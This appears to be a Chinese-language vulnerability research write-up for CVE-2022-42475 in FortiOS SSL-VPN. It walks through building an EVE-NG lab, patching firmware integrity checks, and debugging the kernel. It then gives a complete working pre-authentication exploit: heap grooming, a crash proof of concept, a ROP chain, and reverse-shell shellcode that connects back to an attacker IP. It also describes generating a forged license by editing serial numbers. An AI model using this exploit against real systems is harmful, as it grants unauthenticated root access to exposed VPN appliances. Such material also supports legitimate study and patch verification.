CVE-2022-42475 — FortiOS SSL-VPN 堆缓冲区溢出 Pre-auth RCE
EVE-NG 靶机内核提取与调试符号重建指南
在进行物联网安全研究或底层漏洞分析时,我们常常需要对 EVE-NG 中的 QEMU 节点进行内核级调试。本指南详述了如何通过挂载虚拟机的 qcow2 磁盘文件提取内核,并将其重建为支持 GDB 源码级调试的标准 vmlinux ELF 文件。
阶段一:在 EVE-NG 中导入与配置目标虚拟机镜像
在提取内核之前,我们需要先将目标设备的官方 KVM 镜像正确导入 EVE-NG 并转换为标准格式。
1. 创建镜像目录
参考 EVE-NG 的命名规范(Fortinet 镜像目录必须以 fortinet- 开头)。在 EVE-NG 底层命令行中执行:
mkdir -p /opt/unetlab/addons/qemu/fortinet-FGT-v7.2.2.F-build1255/
2. 上传文件
使用 FileZilla、WinSCP 或 SCP 命令,将下载的固件压缩包上传到刚刚创建的目录中。
3. 解压并重命名磁盘文件
进入该目录,解压文件,随后清理压缩包:
cd /opt/unetlab/addons/qemu/fortinet-FGT-v7.2.2.F-build1255/
unzip fortinet-FGT-v7.2.2.F-build1255.tgz
# 清理原始压缩包
rm fortinet-FGT-v7.2.2.F-build1255.tgz
4. 修复文件权限(极其重要)
每次在 EVE-NG 中新增或修改底层镜像后,都必须执行权限修复命令,否则节点将无法启动:
/opt/unetlab/wrappers/unl_wrapper -a fixpermissions
5. 启动虚拟机
通过浏览器访问 EVE 管理页面创建并启动 Fortigate 虚拟机。

阶段二:固件定制
问题:仅仅拥有 FortiGate 设备不足以满足研究需求,因为我们需要对硬件设备和虚拟机上的底层 Linux 操作系统(即 FortiOS)进行 root 访问才能启动研究。
解决方案:解压 rootfs.gz 获得文件系统并对固件定制,最终对固件重打包放回镜像文件。
使用 qemu-nbd 是 Linux 环境下最原生的挂载方式。
⚠️ 警告:绝对不要在虚拟机(节点)正在运行或未完全关机的状态下挂载其 qcow2 文件!这会导致文件系统严重损坏。
1. 加载 NBD 内核模块
首先加载网络块设备(NBD)模块,并配置允许其识别分区。
sudo modprobe nbd max_part=8
2. 映射并挂载目标分区
将目标 qcow2 文件连接到 /dev/nbd0 设备上,并找到存放 /boot 目录的分区进行挂载。
# 映射磁盘镜像
sudo qemu-nbd -c /dev/nbd0 /path/to/your/image.qcow2
# 请将 your_image.qcow2 替换为你实际的镜像文件路径,不拓展可导致修改后文件系统无法放入镜像
qemu-img resize your_image.qcow2 +2G
# 查看内部真实分区结构
sudo fdisk -l /dev/nbd0
# 假设系统分区是 nbd0p1,创建目录并挂载
sudo mkdir -p /mnt/qcow2
sudo mount /dev/nbd0p1 /mnt/qcow2

3. 固件重打包
为避免攻击者向系统中注入恶意程序,Forti 官方在启动流程中添加了文件系统校验。定位检查逻辑,将检查逻辑 patch 掉。
当对固件修改后重新启动,会出现 The system is halted. 错误。

可通过字符串搜索匹配到二进制文件 bin/init,定位到函数 sub_44F050。

将 init 程序中对函数 sub_44F050 的引用进行 hook,绕过校验逻辑。

接下来将 busybox、sh 放入固件文件系统并将 sh 与 cli 中命令绑定,例如 diagnose hardware smartctl(修改 /bin/smartctl 为 sh 启动脚本)。最终将 rootfs 重新打包为 rootfs.gz 放入到挂载的文件系统。
4. 卸载与清理
提取完成后,必须严格按顺序清理,安全断开连接。
sudo umount /mnt/qcow2
sudo qemu-nbd -d /dev/nbd0
(注:如果目标是 LVM 卷,需在挂载前后配合 vgchange -ay 和 vgchange -an 激活/停用卷组。)
阶段三:使用 vmlinux-to-elf 重建内核 ELF 文件
问题:init 对系统文件进行校验的同时,内核也影响了系统启动流程,为了分析启动流程,需要对内核文件进行分析,但内核文件无法直接放入 IDA 中进行反汇编。
解决方案:在获取了压缩的内核文件后,为了进行 GDB 动态调试或放入 IDA/Ghidra 静态分析,我们需要将其转换为未压缩且包含符号表的标准 ELF 格式文件(vmlinux)。
1. 安装 vmlinux-to-elf
sudo snap install vmlinux-to-elf
2. 提取并转换内核
vmlinux-to-elf vmlinuz_target vmlinux
工具成功运行时的输出示例:
[+] Kernel successfully decompressed in-memory...
[+] Found kallsyms_token_table at file offset 0x012b4a30
[+] Found kallsyms_names at file offset 0x011d87e0
[+] Successfully parsed kallsyms
[+] Generated ELF file successfully saved to: vmlinux
只要看到 Successfully parsed kallsyms,说明内核内存中的符号表已被成功捕获并重建。
3. 验证生成的 vmlinux
3.1 检查文件格式
file flatkc.elf
期望输出:vmlinux: ELF 64-bit LSB executable... not stripped(not stripped 代表带有符号表)。
3.2 检查符号表
nm vmlinux | grep sys_clone
# 或
readelf -s vmlinux | head -n 20
阶段四:接入 EVE-NG (QEMU) 进行 GDB 调试
1. 逆向分析
首先将内核的 ELF 文件放入 IDA 中查看启动逻辑。

内核首先对固件进行校验,通过后会启动 sbin/init,该程序的功能是解压 bin.tar.xz 并执行解压后的 bin/init,此时将会覆盖我们 hook 后的 bin/init,因此我们需要修改字符串 sbin/init 为 bin/init。
2. 动态调试
- 在 EVE-NG 节点配置中,找到 QEMU custom options,追加参数:
-gdb tcp:0.0.0.0:1234,避免错过断点可加-S参数。 - 启动该节点。
- 在你的分析机上,加载重建的 ELF 文件并连接调试,在内核启动函数
start_kernel下断点保证内核加载到内存中:
gdb-multiarch ./vmlinux
(gdb) target remote <EVE-NG-IP>:1234
(gdb) hb start_kernel
(gdb) c
(gdb) b fgt_verify_address
(gdb) c
(gdb) set {char[10]} /sbin/init_address="/bin/init"
阶段五:授权激活
使用 fgt-gadgets license_gadget 生成授权文件激活,需修改授权程序中的 SerialNumber 和 UUID。
SerialNumber 以 FGVMPG 开头为正式授权,FGVMEV 为试用授权。
阶段六:漏洞分析
1. 漏洞概述
CVE-2022-42475 是 Fortinet FortiOS SSL-VPN 功能中的一个堆缓冲区溢出漏洞,存在于 sslvpnd 守护进程处理 HTTPS 请求的代码路径中。
攻击者无需认证,通过向 /remote/login 端点发送一个畸形的 Content-Length 字段(值约 115 GB),即可在服务端触发堆溢出,进而实现未授权任意代码执行(Pre-auth RCE)。
2. 漏洞成因
2.1 触发点
漏洞位于 sslvpnd 处理 HTTP 请求头的代码中。当解析 Content-Length 字段时,程序将该值直接用于 malloc() 分配堆内存,随后从 socket 读取数据时对边界检查不足,导致写入超出分配堆块的数据。
2.2 内存布局
┌─────────────────────────────────────────────────────────┐
│ 正常堆块 A │ 目标堆块(被溢出覆盖) │ 正常堆块 B │
└─────────────────────────────────────────────────────────┘
▲
|
sslvpnd 连接对象 / 函数指针
通过预先进行堆喷射(Heap Spray)和堆风水(Heap Feng Shui),攻击者可精确控制溢出覆盖的目标对象,使其包含函数指针或 vtable 指针。
2.3 堆喷射原理
阶段1:建立 60 个 TLS 连接 → 填满堆,建立可预测布局
阶段2:释放交替的 10 个连接(索引 20,22,24...38)→ 制造等间距空洞
阶段3:触发溢出,使溢出数据填充空洞并覆盖相邻存活块
空洞的尺寸与溢出 chunk 的尺寸对齐,保证溢出数据能精准落入目标对象所在区域。
POST /remote/login HTTP/1.1
Host: <target>
Content-Length: 115964116992 ← 约 108 GB,触发畸形分配
Content-Type: text/plain;charset=UTF-8
a=1<payload>
3. 漏洞利用
3.1 整体利用流程
Pre-auth HTTP请求
│
▼
[1] 堆风水布局
60 个 TLS 连接占位
释放偶数索引连接制造空洞
│
▼
[2] 触发堆溢出
Content-Length: 115964116992
实际发送 payload(约 4KB)
│
▼
[3] 覆盖相邻堆对象
函数指针/vtable → stack_pivot gadget
│
▼
[4] 触发回调
向所有连接发送 40 字节触发对象引用
│
▼
[5] 控制流劫持
执行 stack_pivot: push rdx; pop rsp; ret
rsp → 溢出 payload 内的 ROP 链
│
▼
[6] ROP 链执行
mprotect 将堆标记为 RWX (prot=7)
jmp_rsp 跳入 shellcode
│
▼
[7] Shellcode 执行
socket + connect + dup2 + execve("/bin/node")
│
▼
[8] 反弹 Shell
攻击者获得 root 权限的交互式 shell
3.2 确定偏移
FortiOS 使用 jemalloc 作为其主要内存分配器。分配的内存是连续的,内存块之间没有任何堆元数据。对于给定大小范围内的数据块,空闲列表采用后进先出(LIFO)机制实现,因此我们可以可靠地回收数据块。
通过以下 POC 触发程序崩溃,计算函数指针偏移:
import socket, ssl, time
from pwn import *
path = "/remote/login".encode()
ip = "192.168.xx.xx"
port = xxxx
def create_ssl_ctx():
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect((ip, port))
_default_context = ssl._create_unverified_context()
return _default_context.wrap_socket(_socket)
while True:
try:
socks = []
for i in range(100):
sk = create_ssl_ctx()
sk.sendall(b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.64.129\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1")
socks.append(sk)
for i in range(20, 40, 2):
socks[i].close()
socks[i] = None
CL = "115964116992"
exp_sk = create_ssl_ctx()
for i in range(20):
socks.append(create_ssl_ctx())
exp_sk.sendall(b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.64.129\r\nContent-Length: " + CL.encode() + b"\r\n...\r\n\r\na=1")
exp_sk.sendall(cyclic(4000))
for sk in socks:
if sk:
try: sk.sendall(b"b" * 40)
except: pass
except Exception as e:
print(f"发生错误: {e}, 正在重试...")
time.sleep(1)
通过 GDB 观察运行状态可以确定 jmp rax 指令实现函数指针调用,rax 内容被溢出字符串填充。

根据 rax 的值可以确定函数指针的偏移:
~/Desktop> cyclic -l bafkbaek
3613
栈迁移需要将 rsp 值修改为堆上可控地址并执行构造的 ROP 链和 shellcode,观察函数调用时寄存器状态确定了 rdx、r9、r11 指向堆上可控地址。根据偏移填充 ROP 链:
cyclic -l igabihabiiabijabimabilabimabinabioabipabiqabirabis
3421
3.3 Payload 内存布局
偏移值 内容
─────────────────────────────────────────────────────
0000 垃圾填充 A×3421
3421 ROP 链(mprotect + jmp_rsp)
3421+N 跳板 \xeb + offset(短跳跃,跨越 pivot 8 字节)
3613 stack_pivot gadget 地址(8 字节小端序)
3621 Shellcode 起始
─────────────────────────────────────────────────────
设计约束说明:
rdx在漏洞触发时指向 payload 起始地址附近stack_pivot(push rdx; pop rsp; ret)位于偏移 3613,覆盖堆对象内函数指针- 触发后
rsp迁移到 ROP 链(偏移 3421),开始执行 ROP - ROP 末尾的
jmp rsp跳到栈顶,此时rsp恰好指向 shellcode(偏移 3621)
3.4 Exp 构建
3.4.1 ROP 链逻辑
rop_chain = p64(pop_rcx_ret)
rop_chain += p64(0xfffffffffffff000) # 页对齐掩码
rop_chain += p64(ret) # 栈对齐 padding
rop_chain += p64(ret)
rop_chain += p64(mov_rax_rdx_ret) # rax = rdx(堆地址)
rop_chain += p64(and_rax_rcx_ret) # rax &= ~0xfff(页起始地址)
rop_chain += p64(pop_rdx_ret)
rop_chain += p64(0)
rop_chain += p64(mov_rdi_rax_ret) # rdi = rax(mprotect addr 参数)
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(0x10000) # rsi = 64KB
rop_chain += p64(pop_rdx_ret)
rop_chain += p64(7) # rdx = 7(PROT_READ|WRITE|EXEC)
rop_chain += p64(mprotect_plt)
rop_chain += p64(jmp_rsp) # 跳入 shellcode
等价于: mprotect(page_align(rdx), 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC);
3.4.2 Shellcode 结构
┌──────────────────────────────────────────────────┐
│ sub rsp, 254 防止 push 覆盖 shellcode 自身 │
├──────────────────────────────────────────────────┤
│ SYS_socket 创建 TCP socket (AF_INET) │
│ → rbp = sockfd │
├──────────────────────────────────────────────────┤
│ SYS_connect 连接攻击者 IP:PORT │
├──────────────────────────────────────────────────┤
│ SYS_dup2(fd, 0/1/2) 重定向 stdin/stdout/stderr │
├──────────────────────────────────────────────────┤
│ SYS_execve 执行 /bin/node -i │
└──────────────────────────────────────────────────┘
3.4.3 Final EXP
import socket, ssl, time
from pwn import *
ip = "192.168.64.132"
port = 4443
path = b"/remote/login"
LHOST_HEX = b"\xc0\xa8\x40\x86" # 192.168.64.134
LPORT_HEX = b"\x11\x5c" # 4444
# ROP Gadgets (sslvpnd)
stack_pivot = 0x0000000000c23ee6 # push rdx ; pop rsp ; ret
pop_rsi_ret = 0x0000000000530bbe
pop_rdx_ret = 0x000000000043f942
pop_rcx_ret = 0x00000000004d4963
ret = 0x000000000043a016
jmp_rsp = 0x00000000005af97d
mprotect_plt = 0x00000000043F3C0
mov_rdi_rax_ret = 0x00000000013afec4
and_rax_rcx_ret = 0x0000000002b86bf0
mov_rax_rdx_ret = 0x000000000054d9e8
shellcode = (
b"\x48\x83\xec\x7f" + b"\x48\x83\xec\x7f" + # sub rsp, 254
b"\x48\x31\xff" + b"\xff\xc7" + b"\xff\xc7" + # rdi = 2 (AF_INET)
b"\x48\x31\xf6" + b"\xff\xc6" + # rsi = 1 (SOCK_STREAM)
b"\x48\x31\xd2" + b"\x6a\x29\x58" + b"\x0f\x05" + b"\x48\x89\xc5" +
b"\x48\x31\xf6" + b"\x56" +
b"\x48\xb8\x02\x00" + LPORT_HEX + LHOST_HEX + b"\x50" +
b"\x48\x89\xe6" + b"\x48\x89\xef" + b"\x6a\x10\x5a" +
b"\x6a\x2a\x58" + b"\x0f\x05" +
b"\x48\x89\xef" + b"\x48\x31\xf6" + b"\x6a\x21\x58\x0f\x05" +
b"\x48\x89\xef" + b"\xff\xc6" + b"\x6a\x21\x58\x0f\x05" +
b"\x48\x89\xef" + b"\xff\xc6" + b"\x6a\x21\x58\x0f\x05" +
b"\x48\x31\xc0" + b"\x48\x31\xd2" + b"\x50" +
b"\x48\x31\xdb" + b"\xb3\x65" + b"\x53" +
b"\x48\xbb\x2f\x62\x69\x6e\x2f\x6e\x6f\x64" + b"\x53" +
b"\x48\x89\xe7" + b"\x48\x31\xdb" + b"\x66\xbb\x2d\x69" + b"\x53" +
b"\x48\x89\xe1" + b"\x50" + b"\x51" + b"\x57" +
b"\x48\x89\xe6" + b"\xb0\x3b" + b"\x0f\x05"
)
def create_ssl_ctx():
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect((ip, port))
ctx = ssl._create_unverified_context()
return ctx.wrap_socket(_socket)
while True:
try:
socks = []
for _ in range(60):
sk = create_ssl_ctx()
sk.sendall(b"POST " + path + b" HTTP/1.1\r\nHost: " + ip.encode() +
b"\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\n"
b"Content-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1")
socks.append(sk)
for i in range(20, 40, 2):
socks[i].close(); socks[i] = None
exp_sk = create_ssl_ctx()
for _ in range(20):
socks.append(create_ssl_ctx())
exp_sk.sendall(b"POST " + path + b" HTTP/1.1\r\nHost: " + ip.encode() +
b"\r\nContent-Length: 115964116992\r\nUser-Agent: Mozilla/5.0\r\n"
b"Content-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1")
payload = b"A" * 3421
rop_chain = p64(pop_rcx_ret) + p64(0xfffffffffffff000)
rop_chain += p64(ret) + p64(ret)
rop_chain += p64(mov_rax_rdx_ret) + p64(and_rax_rcx_ret)
rop_chain += p64(pop_rdx_ret) + p64(0)
rop_chain += p64(mov_rdi_rax_ret) + p64(pop_rsi_ret) + p64(0x10000)
rop_chain += p64(pop_rdx_ret) + p64(7)
rop_chain += p64(mprotect_plt) + p64(jmp_rsp)
payload += rop_chain
available_space = 3613 - len(payload)
payload += b"\xeb" + bytes([available_space - 2 + 8])
payload = payload.ljust(3613, b"C")
payload += p64(stack_pivot) + shellcode
exp_sk.sendall(payload)
for sk in socks:
if sk:
try: sk.sendall(b"b" * 40)
except: pass
print("[+] Payload 发送完成,等待回连...")
except Exception as e:
print(f"[-] 错误: {e},正在重试...")
time.sleep(1)
⚠️ 免责声明:本文仅用于安全研究与教育目的。请勿将上述技术用于未经授权的系统。